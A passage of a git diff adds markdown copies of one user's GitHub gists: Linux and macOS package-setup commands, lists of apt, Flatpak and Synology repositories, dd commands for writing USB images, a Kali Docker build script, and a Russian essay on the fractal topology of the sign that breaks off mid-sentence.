--durability=1 /dev/sdc1 --foreground_target=ssd --promote_target=ssd --background_target=hdd + + +``` + + diff --git a/content/gists/452ef1dfef6ee6d31bcbd6e0c3cf54e3.md b/content/gists/452ef1dfef6ee6d31bcbd6e0c3cf54e3.md new file mode 100644 index 000000000..9e670dcae --- /dev/null +++ b/content/gists/452ef1dfef6ee6d31bcbd6e0c3cf54e3.md @@ -0,0 +1,16 @@ +--- +title: "452ef1dfef6ee6d31bcbd6e0c3cf54e3" +type: gist +gist_id: "452ef1dfef6ee6d31bcbd6e0c3cf54e3" +gist_name: "gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/452ef1dfef6ee6d31bcbd6e0c3cf54e3 +updated_at: "2026-07-03T18:41:14Z" +files: ["gistfile1.txt"] +--- +## gistfile1.txt + +```Text +debootstrap --verbose --arch=amd64 --include="build-essential,tasksel,aptitude,mc,htop,most,mosh,screen,tmux" --exclude="snapd" --extra-suites="stonking,stonking-backports,stonking-proposed,stonking-security,stonking-updates" --components="main,multiverse,restricted,universe" --variant=minbase --merged-usr --force-check-sig --force-check-gpg --log-extra-deps stonking /mnt/Ubuntu4 https://mirrors.nxthost.com/ubuntu/ +``` + + diff --git a/content/gists/482d659ac820bab728e62fde1d03c12f.md b/content/gists/482d659ac820bab728e62fde1d03c12f.md new file mode 100644 index 000000000..226fbb6a3 --- /dev/null +++ b/content/gists/482d659ac820bab728e62fde1d03c12f.md @@ -0,0 +1,20 @@ +--- +title: "Mac" +type: gist +gist_id: "482d659ac820bab728e62fde1d03c12f" +gist_name: "Mac Mac" +gist_url: https://gist.github.com/dominicusin/482d659ac820bab728e62fde1d03c12f +updated_at: "2023-02-26T04:04:12Z" +files: ["Mac"] +--- +_Mac_ + +## Mac + +``` +pkgin avail|cut -d' ' -f1|sort -u| xargs sudo pkgin -y install +yes | sudo port -b -p -N install \* + +``` + + diff --git a/content/gists/4a047210e796441807a58e16db6ad798.md b/content/gists/4a047210e796441807a58e16db6ad798.md new file mode 100644 index 000000000..9d4e96e30 --- /dev/null +++ b/content/gists/4a047210e796441807a58e16db6ad798.md @@ -0,0 +1,45 @@ +--- +title: "4a047210e796441807a58e16db6ad798" +type: gist +gist_id: "4a047210e796441807a58e16db6ad798" +gist_name: "Flatpak-Repos" +gist_url: https://gist.github.com/dominicusin/4a047210e796441807a58e16db6ad798 +updated_at: "2019-09-09T11:15:54Z" +files: ["Flatpak-Repos"] +--- +## Flatpak-Repos + +``` +### Flatpak Repos + +List packages on a repo : +flatpak remote-ls repon-name --user +flatpak remote-ls + +Install packages : +flatpak --user install repo-name package-name io.liri.Platform + +Flathub: +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo + +Gnome Stable: +flatpak remote-add --if-not-exists gnome https://sdk.gnome.org/gnome.flatpakrepo +flatpak remote-add gnome-apps https://sdk.gnome.org/gnome-apps.flatpakrepo + +Gnome Development/Unstable +flatpak remote-add --if-not-exists gnome-nightly https://sdk.gnome.org/gnome-nightly.flatpakrepo +flatpak remote-add gnome-apps-nightly https://sdk.gnome.org/gnome-apps-nightly.flatpakrepo + +KDE Plasma Flatpak +flatpak remote-add --if-not-exists kdeapps --from https://distribute.kde.org/kdeapps.flatpakrepo + +Deepin Linux: +flatpak remote-add --no-gpg-verify --if-not-exists deepin http://proposed.packages.deepin.com/deepin-flatpak/deepin/ --system +flatpak remote-add --no-gpg-verify --if-not-exists deepin-apps http://proposed.packages.deepin.com/deepin-flatpak/apps/ --system + +Liri OS: +flatpak remote-add liri https://repo.liri.io/flatpak/liri.flatpakrepo + +``` + + diff --git a/content/gists/4d2dd71dbda592ec3e974f895d9629b6.md b/content/gists/4d2dd71dbda592ec3e974f895d9629b6.md new file mode 100644 index 000000000..6ac96f8cb --- /dev/null +++ b/content/gists/4d2dd71dbda592ec3e974f895d9629b6.md @@ -0,0 +1,84 @@ +--- +title: "lists" +type: gist +gist_id: "4d2dd71dbda592ec3e974f895d9629b6" +gist_name: "lists lists" +gist_url: https://gist.github.com/dominicusin/4d2dd71dbda592ec3e974f895d9629b6 +updated_at: "2024-10-23T14:15:44Z" +files: ["lists"] +--- +_lists_ + +## lists + +``` +deb [arch=all,amd64 signed-by=/usr/share/keyrings/prebuilt-mpr-archive-keyring.gpg] https://proget.makedeb.org prebuilt-mpr bookworm +deb [arch=amd64,arm64,armhf] https://packages.microsoft.com/repos/code stable main +deb [arch=amd64] http://dl.google.com/linux/earth/deb/ stable main +deb [arch=amd64] https://dl.google.com/linux/chrome/deb/ stable main +deb [arch=amd64] https://packages.microsoft.com/repos/edge/ stable main +deb [arch=amd64] https://repo.vivaldi.com/snapshot/deb/ stable main +deb [arch=amd64] https://repo.vivaldi.com/stable/deb/ stable main +deb [arch=amd64,i386 signed-by=/usr/share/keyrings/steam.gpg] https://repo.steampowered.com/steam/ beta steam +deb [arch=amd64,i386 signed-by=/usr/share/keyrings/steam.gpg] https://repo.steampowered.com/steam/ stable steam +deb [arch=amd64 signed-by=/etc/apt/keyrings/liquorix-keyring.gpg] https://liquorix.net/debian sid main +deb [arch=amd64 signed-by=/etc/apt/keyrings/liquorix-keyring.gpg] https://liquorix.net/debian stable main +deb [arch=amd64 signed-by=/etc/apt/keyrings/liquorix-keyring.gpg] https://liquorix.net/debian testing main +deb [arch=amd64 signed-by=/etc/apt/keyrings/liquorix-keyring.gpg] https://liquorix.net/debian unstable main +deb [arch=amd64 signed-by=/etc/apt/trusted.gpg.d/keybase.gpg] http://prerelease.keybase.io/deb stable main +deb [arch=amd64 signed-by=/etc/apt/trusted.gpg.d/proxmox-release-bookworm.gpg] http://download.proxmox.com/debian/pve bookworm pvetest pve-no-subscription +deb [arch=amd64 signed-by=/usr/share/keyrings/brave-browser-archive-keyring.gpg] https://brave-browser-apt-release.s3.brave.com/ stable main +deb [arch=amd64 signed-by=/usr/share/keyrings/brave-browser-nightly-archive-keyring.gpg] https://brave-browser-apt-nightly.s3.brave.com/ stable main +deb [arch=amd64 signed-by=/usr/share/keyrings/oracle-virtualbox-2016.gpg] https://download.virtualbox.org/virtualbox/debian bookworm contrib +deb [arch=amd64 signed-by=/usr/share/keyrings/seafile-keyring.asc] https://linux-clients.seafile.com/seafile-deb/bookworm/ stable main +deb https://deb.debian.org/debian/ bookworm-proposed-updates main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ bullseye-backports main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ experimental main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ oldoldstable main contrib non-free +deb https://deb.debian.org/debian/ oldoldstable-proposed-updates main contrib non-free +deb https://deb.debian.org/debian/ oldoldstable-updates main contrib non-free +deb https://deb.debian.org/debian/ oldstable-backports-sloppy main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ oldstable main contrib non-free +deb https://deb.debian.org/debian/ oldstable-proposed-updates main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ oldstable-updates main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ rc-buggy main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ sid main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ stable-backports main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ stable-backports-sloppy main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ stable main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ stable-updates main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ testing-backports main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ testing main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ testing-proposed-updates main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ testing-updates main contrib non-free-firmware non-free +deb https://deb.debian.org/debian/ unstable main contrib non-free-firmware non-free +deb https://deb.opera.com/opera-beta/ stable non-free #Opera Browser (final releases) +deb https://deb.opera.com/opera-developer/ stable non-free #Opera Browser (final releases) +deb https://deb.opera.com/opera-stable/ stable non-free #Opera Browser (final releases) +deb https://download.sublimetext.com/ apt/dev/ +deb https://ftp.gwdg.de/pub/linux/siduction/extra unstable main +deb https://ftp.gwdg.de/pub/linux/siduction/fixes unstable main +deb https://incoming.debian.org/debian-buildd buildd-unstable main contrib non-free-firmware non-free +deb https://www.bchemnet.com/suldr/ debian extra +deb https://www.deb-multimedia.org experimental main +deb https://www.deb-multimedia.org oldoldstable-backports main +deb https://www.deb-multimedia.org oldoldstable main non-free +deb https://www.deb-multimedia.org sid main non-free +deb https://www.deb-multimedia.org stable-backports main +deb https://www.deb-multimedia.org stable main non-free +deb https://www.deb-multimedia.org testing main non-free +deb [signed-by=/etc/apt/trusted.gpg.d/agp-debian-key.gpg] http://ag-projects.com/debian stable main +deb [signed-by=/etc/apt/trusted.gpg.d/agp-debian-key.gpg] http://ag-projects.com/debian unstable main +deb [signed-by=/usr/share/keyrings/cuda-archive-keyring.gpg] https://developer.download.nvidia.com/compute/cuda/repos/debian12/x86_64/ / +deb [signed-by=/usr/share/keyrings/indexdata.gpg] https://ftp.indexdata.com/debian bullseye main +deb [signed-by=/usr/share/keyrings/jetbrains-ppa-archive-keyring.gpg] http://jetbrains-ppa.s3-website.eu-central-1.amazonaws.com any main +deb [signed-by=/usr/share/keyrings/makedeb-archive-keyring.gpg arch=all] https://proget.makedeb.org makedeb main +deb [signed-by=/usr/share/keyrings/meganz-archive-keyring.gpg] https://mega.nz/linux/repo/Debian_testing/ ./ +deb [signed-by=/usr/share/keyrings/xanmod-archive-keyring.gpg] http://deb.xanmod.org releases main +deb [signed-by=/usr/share/keyrings/zotero-archive-keyring.gpg by-hash=force] https://zotero.retorque.re/file/apt-package-archive ./ +deb-src [arch=amd64 signed-by=/etc/apt/keyrings/liquorix-keyring.gpg] https://liquorix.net/debian sid main + + +``` + + diff --git a/content/gists/528a20e611d5592b180305f9057b8741.md b/content/gists/528a20e611d5592b180305f9057b8741.md new file mode 100644 index 000000000..7c53aa1c0 --- /dev/null +++ b/content/gists/528a20e611d5592b180305f9057b8741.md @@ -0,0 +1,33 @@ +--- +title: "Fix homebrew permissions" +type: gist +gist_id: "528a20e611d5592b180305f9057b8741" +gist_name: "Fix homebrew permissions homebrew-permissions.sh" +gist_url: https://gist.github.com/dominicusin/528a20e611d5592b180305f9057b8741 +updated_at: "2022-04-03T23:33:39Z" +files: ["homebrew-permissions.sh"] +--- +_Fix homebrew permissions_ + +## homebrew-permissions.sh + +```Shell +sudo chown -R $(whoami) /usr/local/Cellar +sudo chown -R $(whoami) /usr/local/Homebrew +sudo chown -R $(whoami) /usr/local/var/homebrew +sudo chown -R $(whoami) ${HOME}/Library/Caches/Homebrew +sudo chown -R $(whoami) ${HOME}/Library/Logs/Homebrew +sudo chown -R $(whoami) /usr/local/etc +sudo chown -R $(whoami) /usr/local/opt +sudo chown -R $(whoami) /usr/local/bin +sudo chown -R $(whoami) /usr/local/var +sudo chown -R $(whoami) /usr/local/share/man/man1 +sudo chown -R $(whoami) /opt/homebrew-cask +sudo chown -R $(whoami) /usr/local/share +sudo chown -R $(whoami) /usr/local/lib + + + +``` + + diff --git a/content/gists/583235312bacc9983952507a53735115.md b/content/gists/583235312bacc9983952507a53735115.md new file mode 100644 index 000000000..216a548fa --- /dev/null +++ b/content/gists/583235312bacc9983952507a53735115.md @@ -0,0 +1,35 @@ +--- +title: "So Long and Thanks for all the fish!" +type: gist +gist_id: "583235312bacc9983952507a53735115" +gist_name: "So Long and Thanks for all the fish! So Long and Thanks for all the fish!" +gist_url: https://gist.github.com/dominicusin/583235312bacc9983952507a53735115 +updated_at: "2018-06-12T10:05:11Z" +files: ["So Long and Thanks for all the fish!"] +--- +_So Long and Thanks for all the fish!_ + +## So Long and Thanks for all the fish! + +``` +So Long and Thanks for all the fish! + + _.-, + .--' '-._ + _/`- _ '. + '----'._`.----. \ + ` \; + ;_\ + + + ,-._ + _.-' '--. + .' _ -`\_ + / .----.`_.'----' + ;/ ` + /_; + + ._ ._ ._ ._ +``` + + diff --git a/content/gists/58ae13c2ddf55b6966595a0182567a30.md b/content/gists/58ae13c2ddf55b6966595a0182567a30.md new file mode 100644 index 000000000..cfc3688b2 --- /dev/null +++ b/content/gists/58ae13c2ddf55b6966595a0182567a30.md @@ -0,0 +1,23 @@ +--- +title: "TrueOS" +type: gist +gist_id: "58ae13c2ddf55b6966595a0182567a30" +gist_name: "TrueOS TrueOS" +gist_url: https://gist.github.com/dominicusin/58ae13c2ddf55b6966595a0182567a30 +updated_at: "2017-11-20T21:55:01Z" +files: ["TrueOS"] +--- +_TrueOS_ + +## TrueOS + +``` + + +dd status=progress if=TrueOS-2017-07-05-x64-USB.img of=/dev/sdb bs=4M conv=sync +dd if=FreeBSD-12.0-CURRENT-amd64-20171109-r325595-memstick.img of=/dev/sdb bs=64M conv=sync status=progress oflag=nonblock iflag=nonblock + + +``` + + diff --git a/content/gists/58e2c9b787741ff9d62e30ce030f58a1.md b/content/gists/58e2c9b787741ff9d62e30ce030f58a1.md new file mode 100644 index 000000000..34d200cea --- /dev/null +++ b/content/gists/58e2c9b787741ff9d62e30ce030f58a1.md @@ -0,0 +1,32 @@ +--- +title: "synology" +type: gist +gist_id: "58e2c9b787741ff9d62e30ce030f58a1" +gist_name: "synology gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/58e2c9b787741ff9d62e30ce030f58a1 +updated_at: "2025-04-26T20:39:01Z" +files: ["gistfile1.txt"] +--- +_synology_ + +## gistfile1.txt + +```Text + +https://packages.jdel.org +https://digitalbox.go.zd.fr +https://get.filebot.net/syno/ +https://packages.pcloadletter.co.uk/ +https://packages.synocommunity.com/ +https://packages.synocommunity.com/?beta=1 +https://spk7.imnks.com/ +https://synology.sysco.ch +https://synopackage.com/repository/spk/all +https://www.blisshq.com/repo/syno/packages-DSM7.json +https://www.blisshq.com/repo/syno/packages-pre-DSM7.json +https://www.cphub.net/ +https://grigi.lt torrserv + +``` + + diff --git a/content/gists/5926cdfee45ec2e1d664ced1abf5628f.md b/content/gists/5926cdfee45ec2e1d664ced1abf5628f.md new file mode 100644 index 000000000..f7c6dcdd8 --- /dev/null +++ b/content/gists/5926cdfee45ec2e1d664ced1abf5628f.md @@ -0,0 +1,26 @@ +--- +title: "5926cdfee45ec2e1d664ced1abf5628f" +type: gist +gist_id: "5926cdfee45ec2e1d664ced1abf5628f" +gist_name: "kali" +gist_url: https://gist.github.com/dominicusin/5926cdfee45ec2e1d664ced1abf5628f +updated_at: "2018-01-31T14:10:06Z" +files: ["kali"] +--- +## kali + +```Shell +#!/bin/bash +sudo apt-get install debootstrap +curl "http://git.kali.org/gitweb/?p=packages/debootstrap.git;a=blob_plain;f=scripts/kali;hb=refs/heads/kali/master" > kali-debootstrap &&\ +sudo debootstrap kali-rolling ./kali-root http://http.kali.org/kali ./kali-debootstrap &&\ +sudo tar -C kali-root -c . | sudo docker import - linuxkonsult/kali:latest &&\ +sudo rm -rf ./kali-root &&\ +TAG=$(sudo docker run -t -i linuxkonsult/kali awk '{print $NF}' /etc/debian_version | sed 's/\r$//' ) &&\ +echo "Tagging kali with $TAG" &&\ +sudo docker tag linuxkonsult/kali:latest linuxkonsult/kali:$TAG &&\ +echo "Build OK" || echo "Build failed!" + +``` + + diff --git a/content/gists/5fa3919280cfc3fc2ce574245aa999d0.md b/content/gists/5fa3919280cfc3fc2ce574245aa999d0.md new file mode 100644 index 000000000..1028c0918 --- /dev/null +++ b/content/gists/5fa3919280cfc3fc2ce574245aa999d0.md @@ -0,0 +1,360 @@ +--- +title: "Welcome file" +type: gist +gist_id: "5fa3919280cfc3fc2ce574245aa999d0" +gist_name: "Welcome file Фрактальная архитектура знака.md" +gist_url: https://gist.github.com/dominicusin/5fa3919280cfc3fc2ce574245aa999d0 +updated_at: "2026-01-05T10:20:01Z" +files: ["Фрактальная архитектура знака.md"] +--- +_Welcome file_ + +## Фрактальная архитектура знака.md + +```Markdown +# Фрактальная архитектура знака: Модель уровня 1 +## Механизм селекции через топологию и типы эквивалентности + +--- + +## Введение: От структуры к механизму + +Предыдущее описание архитектуры показало **структурное самоподобие** — как барулинская цепочка вложена в пирсовскую триаду на разных масштабах. Теперь мы переходим к объяснению **механизма**, который определяет, какие звенья цепочки актуализируются в конкретной культурно-исторической точке. + +Ключевое открытие: **типы эквивалентности работают как двухуровневые операторы**: +- На уровне **онтологии системы** — направляют вероятностное распределение в момент бифуркации +- На уровне **гносеологии наблюдателя** — позволяют узнать закон, который правил выбором + +--- + +## 1. Онтологическая основа: Топология как структура возможностей + +### 1.1 Топология текста как математическая структура + +Следуя Луговской, понимаем текст (и знак в целом) как **топологическое пространство** — множество элементов с выделенной структурой открытых множеств: + +$$X = \{\text{элементы текста}\}, \quad \tau = \{\text{открытые множества в } X\}$$ + +**Окрестность элемента** в этом пространстве — это любой контекст (культурный, исторический, текстовый), содержащий этот элемент. + +**Смысловая база** — это набор открытых множеств, достаточный для восстановления всей топологической структуры (база топологии в математическом смысле). Разные смысловые базы могут задавать **одну и ту же топологию** или создавать различные топологические структуры одного знака. + +### 1.2 Смысловые базы как направители вероятностей + +Смысловая база — это **не постфактум интерпретация**, а **онтологическая структура**, встроенная в топологию знака. Она определяет: + +- **Плотность окрестностей** для разных звеньев барулинской цепочки +- **Связность открытых множеств** — какие конфигурации звеньев топологически "близки", а какие "далеки" +- **Вероятностное распределение** в точке неустойчивости + +**Примеры смысловых баз (из анализа "Жирафа" Гумилева):** + +| Смысловая база | Онтологическое содержание | Как она структурирует топологию | +|---|---|---| +| **Пространство-время** | Озеро Чад как фиксированная точка vs дождь как процесс | Жираф "ближе" к материальности, Ты "ближе" к процессуальности | +| **Фигура-фон** | Переворачивание видимости: что выступает фигурой, что фоном | Топология позволяет обоим менять роли, сохраняя связность | +| **Ассоциативно-семантические поля** | Жираф: стройность → маскулинность → страсть | Каждое звено имеет окрестность из ассоциаций, плотность окрестности варьируется | +| **Образ воды** | Вода как феминность, озеро как замкнутость, дождь как процесс | Лирическое Ты топологически "вложено" в структуру воды | + +**Ключевой момент:** смысловые базы не конкурируют друг с другом — они **коэксистируют в одной топологии**, создавая многослойную структуру вероятностей. + +--- + +## 2. Синергетическая динамика: От порядка к становлению + +### 2.1 Два режима системы знака + +Согласно синергетическому подходу (Буданов), система живёт в двух режимах: + +**Режим Порядка (стабильное функционирование):** +- Гомеостатичность: знак поддерживает себя благодаря постоянному "проживанию" в контексте +- Иерархичность: элементы передают системе часть своих функций, система функционирует как целое +- Результат: знак **узнаваем**, **стабилен**, топология явлена как привычная структура + +**Режим Становления (трансформация):** +- Нелинейность: малое воздействие может привести к глобальной перестройке +- Неустойчивость: система находится в точке бифуркации, где малые возмущения определяют выбор +- Незамкнутость: система открыта взаимодействию с контекстом (культурой, историей, интенцией автора, потенцией читателя) +- Динамическая иерархичность: новые уровни организации возникают из взаимодействия элементов +- Результат: происходит **селекция** — выбор одной из нескольких возможных конфигураций + +### 2.2 Момент бифуркации: Где действуют селекторы + +**Точка бифуркации** — это момент неустойчивости, когда знак находится в потенциальном состоянии, готовый развиться в несколько направлений с почти равными вероятностями. + +В этот момент **топология определяет вероятностное распределение**: + +$$P(\text{актуализация конфигурации } C_i) = f(\text{структура топологии, смысловые базы})$$ + +**Каким образом топология задаёт вероятности:** + +1. **Через плотность окрестностей:** звенья цепочки, имеющие более плотные и многочисленные окрестности в топологии, получают большую вероятность быть актуализированными + +2. **Через связность открытых множеств:** конфигурации звеньев, которые образуют связное открытое множество в топологии, более вероятны, чем разрывные + +3. **Через направленность смысловых баз:** каждая смысловая база создаёт "ландшафт вероятностей" с впадинами (более вероятные конфигурации) и возвышениями (менее вероятные) + +**Пример из "Жирафа":** + +В момент бифуркации, вызванной обращением "Послушай!", топология текста создаёт распределение: +- Конфигурация $\{S_0, S_1\}$ для жирафа (означающее + интенсионал) имеет высокую вероятность благодаря плотности ассоциативно-семантических окрестностей (образ воды, мерцание, плавность) +- Конфигурация $\{S_2\}$ для жирафа (просто референт, животное) имеет низкую вероятность, потому что референтная окрестность менее плотна в данной топологии +- Конфигурация $\{S_1, S_3\}$ для жирафа (смысл + архетип) имеет очень высокую вероятность благодаря интертекстуальным окрестностям (Песнь Песней, символизм) + +--- + +## 3. Типы эквивалентности как двухуровневые операторы + +### 3.1 Онтологический уровень: Селекция звеньев цепочки + +На уровне **системы знака** каждый тип эквивалентности работает как **оператор селекции**, направляющий вероятностное распределение в момент бифуркации. + +#### Формальная эквивалентность +$$\text{Equiv}_{\text{form}} : \text{актуализируются } S_0 \text{ и ближайшие к нему звенья}$$ + +**Онтологический механизм:** Формальная эквивалентность возникает, когда топология текста создаёт условия, при которых **означающее и его непосредственная интенсиональная окрестность** получают максимальную вероятность. + +Это происходит, когда: +- Означающее имеет особо плотные окрестности (омонимия, омофония, фонетические совпадения) +- Смысловая база "звукопись" или "формальные свойства" доминирует в топологии + +**Результат в системе:** Явлены $S_0$ (означающее как чистая форма) и переход к $S_1$ остаётся в потенции, но топологически обеспечен. + +**Пример:** В "Жирафе" формальная эквивалентность актуализируется через аллитерацию свистящих звуков, которая одновременно кодирует жирафа и дождь — означающее (звук) явлено максимально. + +--- + +#### Смысловая эквивалентность +$$\text{Equiv}_{\text{sem}} : \text{актуализируются } S_1 \text{ и его ассоциативные окрестности}$$ + +**Онтологический механизм:** Смысловая эквивалентность возникает, когда топология создаёт высокую плотность **интенсиональных окрестностей** — аналогий, намёков, ассоциаций. + +Это происходит, когда: +- Один и тот же смысл может быть достигнут через разные означающие и референты +- Смысловая база "ассоциативно-семантические поля" или "аналогия" доминирует + +**Результат в системе:** Явлен $S_1$ (смысл, лингво-когнитивная структура), означающие и референты остаются в фоне, но связаны через единый интенсионал. + +**Пример:** Жираф в "Жирафе" и Чёрная Дева связаны смысловой эквивалентностью — оба означают страсть, маскулинность, возвышенность, хотя означающие и референты различны. + +--- + +#### Референтная эквивалентность +$$\text{Equiv}_{\text{ref}} : \text{актуализируются } S_2 \text{ с переозначиванием цепочки}$$ + +**Онтологический механизм:** Референтная эквивалентность возникает, когда топология позволяет **одному денотату быть достигнутым через разные маршруты** в цепочке, с переконфигурацией интенсионала. + +Это происходит, когда: +- Смысловая база "развенчание" или "переозначивание" создаёт условия для нового маршрута к уже известному референту +- Топология содержит "разломы" — место, где старый путь рушится и возникает новый + +**Результат в системе:** Референт (денотат) совпадает, но цепочка $S_0 \to S_1 \to S_2$ переконфигурируется, создавая новый смысл для одного денотата. + +**Пример:** Лирическое Ты в "Жирафе" остаётся одним и тем же референтом, но его интенсионал преобразуется от "грустная дева в дожде" к "черная мадонна, страстная и возвышенная" — референтная эквивалентность с переозначиванием. + +--- + +#### Экстенсиональная эквивалентность +$$\text{Equiv}_{\text{ext}} : \text{актуализируется полный стек } \{S_0 \to S_1 \to S_2 \to S_3 \to \ldots\}$$ + +**Онтологический механизм:** Экстенсиональная эквивалентность возникает, когда топология позволяет **одному означающему и интенсионалу обозначать множество референтов**. + +Это происходит, когда: +- Смысловая база "архетипизация" или "универсализация" доминирует +- Топология содержит высокую степень связности между разными референтами через один интенсионал + +**Результат в системе:** Означающее и смысл фиксированы, но множество возможных референтов ($S_3$ — экстенсионал) актуализировано. + +**Пример:** Жираф в "Жирафе" может обозначать конкретное животное, символ Африки, архетип маскулинности, символ возвышенного стремления — все эти референты входят в экстенсионал при одном означающем "жираф" и одном интенсионале "высокое, стройное, изысканное, маскулинное". + +--- + +### 3.2 Гносеологический уровень: Узнавание закона + +На уровне **наблюдателя** типы эквивалентности работают как **дескрипторы-интерпретанты**, позволяющие узнать, какой оператор сработал в системе. + +**Критический момент:** Наблюдатель узнаёт "формальную эквивалентность" не потому, что произвольно это называет, а потому, что он **воспроизводит в акте интерпретации тот же оператор**, который действовал в системе. + +Когда наблюдатель видит актуализованный набор $\{S_0, \text{близкие к нему звенья}\}$, он узнаёт в нём **сигнатуру формальной эквивалентности** — отпечаток того вероятностного распределения, которое создала топология. + +**Почему наблюдатель способен это узнать:** + +1. **Смысловая база материализована в тексте** — в лексико-грамматических связях, ассоциативно-семантических полях, звукописи, композиции +2. **Актуализированный набор несёт сигнатуру базы**, которая его направила +3. **Наблюдатель читает сигнатуру**, распознаёт узнаваемый паттерн и называет его типом эквивалентности + +**Пример:** + +Когда аналитик читает "Жирафа" и видит: +- Омонимию "Mr. Gryle" / "grill" в Пратчетте +- Аллитерацию свистящих в "Жирафе" +- Лексико-грамматические связи между жирафом и водой + +Он узнаёт в этом **сигнатуру формальной эквивалентности**, потому что эти признаки суть отпечатки того вероятностного распределения, которое топология создала, направив $S_0$ к максимальной актуализации. + +--- + +## 4. Взаимодействие смысловых баз и типов эквивалентности + +### 4.1 Одна топология — несколько баз с разными вероятностями + +Топологическое пространство знака может быть описано несколькими смысловыми базами, каждая из которых создаёт своё вероятностное распределение: + +**На примере "Жирафа":** + +Одна топология (единая структура открытых множеств текста) может быть описана через: +- **Смысловую базу "пространство-время"** → вероятности распределяются так, что жираф получает высокую вероятность в $S_2$ (материальный референт), Ты — в процессуальности +- **Смысловую базу "фигура-фон"** → вероятности переворачиваются, Ты может стать фоном, жираф фигурой +- **Смысловую базу "ассоциативно-семантические поля"** → вероятности направляются на $S_1$ и $S_3$ (смысл и архетип) + +**Эти базы не противоречат друг другу** — они описывают одну и ту же топологию с разных точек зрения, создавая разные "ландшафты вероятностей" на одной основе. + +### 4.2 Определённость типов эквивалентности через смысловые базы + +Конкретный тип эквивалентности, который актуализируется, определяется: + +1. **Доминирующей смысловой базой** в данный момент +2. **Глубиной вложенности** в иерархии открытых множеств (какая база находится в фокусе внимания) +3. **Контекстом** (культурно-историческим, авторским, читательским) + +**Формально:** + +$$\text{Актуализируемый тип эквивалентности} = f(\text{Доминирующая смысловая база, контекст})$$ + +**Пример:** + +- Если доминирует база "звукопись" и "формальные свойства" → актуализуется формальная эквивалентность ($\{S_0\}$) +- Если доминирует база "ассоциативно-семантические поля" → актуализуется смысловая эквивалентность ($\{S_1\}$) +- Если доминирует база "архетипизация" → актуализуется экстенсиональная эквивалентность ($\{S_3\}$) + +--- + +## 5. Фрактальная организация с механизмом селекции + +### 5.1 Селекция на каждом уровне вложенности + +Механизм селекции (топология → вероятностное распределение → выбор в бифуркации) работает одинаково на каждом уровне фрактальной вложенности: + +**На макроуровне (триада Пирса):** +Топология знака определяет вероятность того, что он будет опознан как икона, индекс или символ (или несколько одновременно). + +**На мезоуровне (ипостась в триаде):** +Внутри иконического, индексального или символического уровня топология определяет, какие звенья барулинской цепочки актуализируются. + +**На микроуровне (звенья цепочки):** +Каждое звено ($S_0, S_1, S_2, S_3, \ldots$) может быть разложено дальше как пространство с собственной топологией и вероятностным распределением. + +### 5.2 Одновременная актуализация нескольких конфигураций + +Благодаря фрактальности и многоуровневости, знак может одновременно явить несколько ипостасей с разными типами эквивалентности: + +$$\text{Sign}_{\text{living}} = \begin{cases} +\text{ICON}_{S_0, S_1}^{\text{form}} \\ +\text{INDEX}_{S_1, S_2}^{\text{sem}} \\ +\text{SYMBOL}_{S_1, S_3}^{\text{ext}} +\end{cases}_{\text{одновременно в одной топологии}}$$ + +**Пример из "Жирафа":** + +Жираф одновременно явлен как: +- **Икона** с формальной эквивалентностью: пятнистая шкура, плавные движения (означающее явлено через звукопись, аллитерацию) +- **Индекс** со смысловой эквивалентностью: указание на маскулинность, страсть (смысл явлен через ассоциации) +- **Символ** с экстенсиональной эквивалентностью: архетип возвышенного стремления (множество референтов в одном интенсионале) + +Каждая ипостась живёт в своей части топологического пространства, но все они **связны** через единую топологию. + +--- + +## 6. Универсальность механизма + +### 6.1 Механизм работает для всех модальностей знаков + +Предложенный механизм селекции (топология → вероятностное распределение → типы эквивалентности) универсален и работает одинаково для: + +- **Вербальных знаков** (слова, имена собственные) +- **Музыкальных знаков** (мотивы, гармонические последовательности) +- **Визуальных знаков** (цвета, формы, композиции) +- **Архитектурных знаков** (своды, пропорции, материалы) +- **Кинематографических знаков** (кадр, монтаж, звукозрительный образ) + +Различаются только: +- **Медиальная реализация** $S_0$ (звук, форма, цвет, движение) +- **Характер окрестностей** в топологии (фонетические, пластические, хроматические, кинетические) +- **Смысловые базы**, специфичные для каждой модальности + +Но **механизм селекции остаётся инвариантным**. + +### 6.2 Примеры из разных модальностей + +#### Музыкальный знак (мотив) +- **Топология:** мотив окружен ассоциативно-интонационными полями +- **Смысловые базы:** "характер движения", "гармоническая окрестность", "оркестровка" +- **Селекция:** в разных частях произведения актуализируются разные типы эквивалентности (формальная в изложении темы, смысловая в развитии, экстенсиональная в коде) + +#### Визуальный знак (цвет в живописи) +- **Топология:** цвет окружен цветовыми контрастами, ассоциативными полями, исторически-культурными окрестностями +- **Смысловые базы:** "спектральные свойства", "психологическая температура", "культурная символика" +- **Селекция:** красный может актуализироваться как формальная эквивалентность (чистое впечатление спектра), как смысловая (аналогия с огнём, кровью), как экстенсиональная (архетип страсти, революции) + +#### Архитектурный знак (арка) +- **Топология:** арка окружена функциональными, пропорциональными, культурно-историческими окрестностями +- **Смысловые базы:** "конструктивная необходимость", "пластическая выразительность", "символическое значение" +- **Селекция:** готическая заострённая арка актуализирует одновременно иконическую формальную эквивалентность (острая форма), индексальную референтную (несущая конструкция) и символическую экстенсиональную (возвышенное, стремящееся вверх) + +--- + +## 7. Выводы: Механизм в действии + +### 7.1 Как система самоорганизуется + +1. **Топология задана** в знаке его культурно-исторической средой, авторской интенцией, медиальными возможностями +2. **Смысловые базы встроены** в топологию как направители вероятностей +3. **В момент актуализации** (чтение текста, восприятие знака, интерпретация) система попадает в точку бифуркации +4. **Топология определяет вероятностное распределение** — какие звенья цепочки, какие типы эквивалентности получают большую вероятность +5. **Бифуркация выбирает** одну из конфигураций согласно этому распределению +6. **Явлены определённые звенья** барулинской цепочки в определённых 